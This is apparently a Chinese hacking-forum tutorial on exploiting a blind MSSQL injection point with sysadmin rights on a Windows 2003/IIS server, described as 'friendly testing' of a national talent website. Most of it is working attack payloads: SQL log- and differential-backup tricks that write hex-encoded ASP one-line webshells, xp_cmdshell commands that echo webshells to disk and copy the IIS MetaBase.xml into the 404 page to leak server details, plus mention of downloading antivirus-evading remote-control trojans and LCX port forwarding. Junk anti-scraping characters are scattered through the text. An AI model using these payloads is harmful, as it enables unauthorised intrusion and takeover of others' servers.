sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
+ F- e! j! ^+ y. \

                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
- f7 D2 n/ d$ e2 B* S# u# W  d4 h
0 h+ [% z) `5 H% y( J0 s# U8 j                                                                 
2 I- ~0 \' d3 L) G6 |4 B8 Y                                                                 
1 {8 U9 |1 a; [  P4 r                                                                  论坛： http://www.90team.net/
* `) L& o% z9 }


友情检测国家人才网
, C  X, ~( n, C+ R( b4 g7 L

内容：MSSQL注入SA权限不显错模式下的入侵
8 e' Y- O3 R; x4 }

( ^* D% {  }. F; P0 R8 y/ o一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
) E' P$ X8 ^- S+ j5 p4 d9 j8 h- P
/ U' a* ]4 U0 }; B我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
! e6 [! s: A9 F4 Y9 O5 x

! q3 a; a5 P5 \  |9 k, {# D这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
8 J+ R$ d: d- j9 c3 t3 v- `
思路：
6 o+ t$ Y; W- r: I! P4 [
首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
, P1 _, Y  {$ A, Z) q8 [
1.日志备份获得Webshell

! o- K- b& L, ]  S& v2.数据库差异备份获得Webshell
1 m' J* N- U' w, }
2 p2 |' D$ l1 ]# ^4 {4.直接下载免杀远控木马。

$ D6 \% _0 {8 L6 G7 Y% p5.直接下载LCX将服务器端口转发出来

7 g5 F5 g! n$ B: R4 F6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。


, U1 Q* }4 o$ g2 X4 A6 K  D5 e
1 }  {  z# e, X" ~1 N4 t在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
( C: c9 @9 {  G6 I8 u
/ T3 c! J$ U) |& R& a; R我直接演示后面一个方法
9 d5 }( o6 s! y/ O9 f! w. ^
6 y9 f7 z$ Y' c- @; _. V2 E
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

2 c5 [2 t3 O/ M. a& w; L


9 `1 E/ S5 D  @◆日志备份：
) R: N% E1 v( ?: J5 N1 I/ {

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
, K: d8 x0 h5 k% S% c" m5 U
6 v1 v9 I5 {# L0 U4 c2 G* J- N2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
, j- u' l% W; u4 M9 }
2 `( O; J, k/ R1 U# b( l( n' G+ Q0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
3 l* w/ ?8 O+ {  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

# s' e; ^4 i7 j& d: X
: m5 U' @* n! F" y9 r7 X) Z
# ~$ D  F0 ^4 s" @◆数据库差异备份

（1. 进行差异备份准备工作
3 h9 p5 \! @, a& A+ `- z' p
# G, k0 X. T  b% Z;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

4 p4 v. u/ j2 s/ P上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
8 n0 P7 P4 `  d; k
% y& M6 o; k9 y6 m
/ N4 Y7 C, |$ d1 n（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
. |2 k$ k3 S* o6 A6 i3 d
# B& ^- d. v; y  b5 x5 J3 K0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
$ B) g+ J* N, b0 p
  G5 w. T6 [" B  e+ L5 q5 |1 w2 z# q+ x. I3. 备份数据库并清理临时文件
3 {; w9 M  ?1 [
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
# e3 o6 w  q/ A$ f+ C4 q- ]
2 R; C- C9 t9 F: b' z! J0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

* z5 X: i3 l2 f4 }
' D2 Q) b3 p( }4 }5 g
% _- y. {4 c4 U, L  h用^转义字符来写ASP(一句话木马)文件的方法:   
! _9 y  l! P5 N2 _" g
' ?% S- S8 C5 x! d$ i& Q1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
; D  E# k2 Q8 A( E
3 w$ h% w" T( R0 h2 l2 W8 H  t2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径
% m' _' \8 k: o) u& S9 l
9 x3 u& h7 C& P6 B8 }     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
/ ~6 D0 E7 V' F( j1 v
执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
  n- s4 |1 B( d/ e2 g


  f$ m) n* a% r) b
# q4 H8 Z5 x9 N/ A5 Q
& G" U7 U2 ~) p

* `. H5 k1 J2 w1 k  v# b% p


3 p3 S, ?0 `  D7 N& j+ Z2 Q

4 y( o7 ]8 ?2 m
4 _2 R; o$ f6 o$ U. ~+ B+ Y
6 V  ~: i: L: Y  L
4 N1 |1 [5 F$ B0 o, l9 W! P- s




% a' T, Y2 w3 z


& l8 {" J, ^$ v
; H0 H/ T5 \! \7 [: `1 x
& ]% D- o$ R9 T% B

# t3 x  M. W" `. a7 j' j
) m8 B0 j5 h9 N, U: o
+ N1 W0 l" \' A& b


) h; K2 e. V3 y9 Z0 j" @




( q0 n* x# B% K: |2 T8 i% z
  i6 M  D4 g# R# f

+ O& I- Z! \6 q, Q" Z8 X( |
% {4 ?3 c' P# b, Q7 n+ h
$ H/ J2 o8 U' @0 b2 \/ M

% ?. E  c  M% v) s' s+ r
) Z2 f/ T5 R+ A
# A* E8 W& m- i

% L8 j& `1 {/ }) y9 ?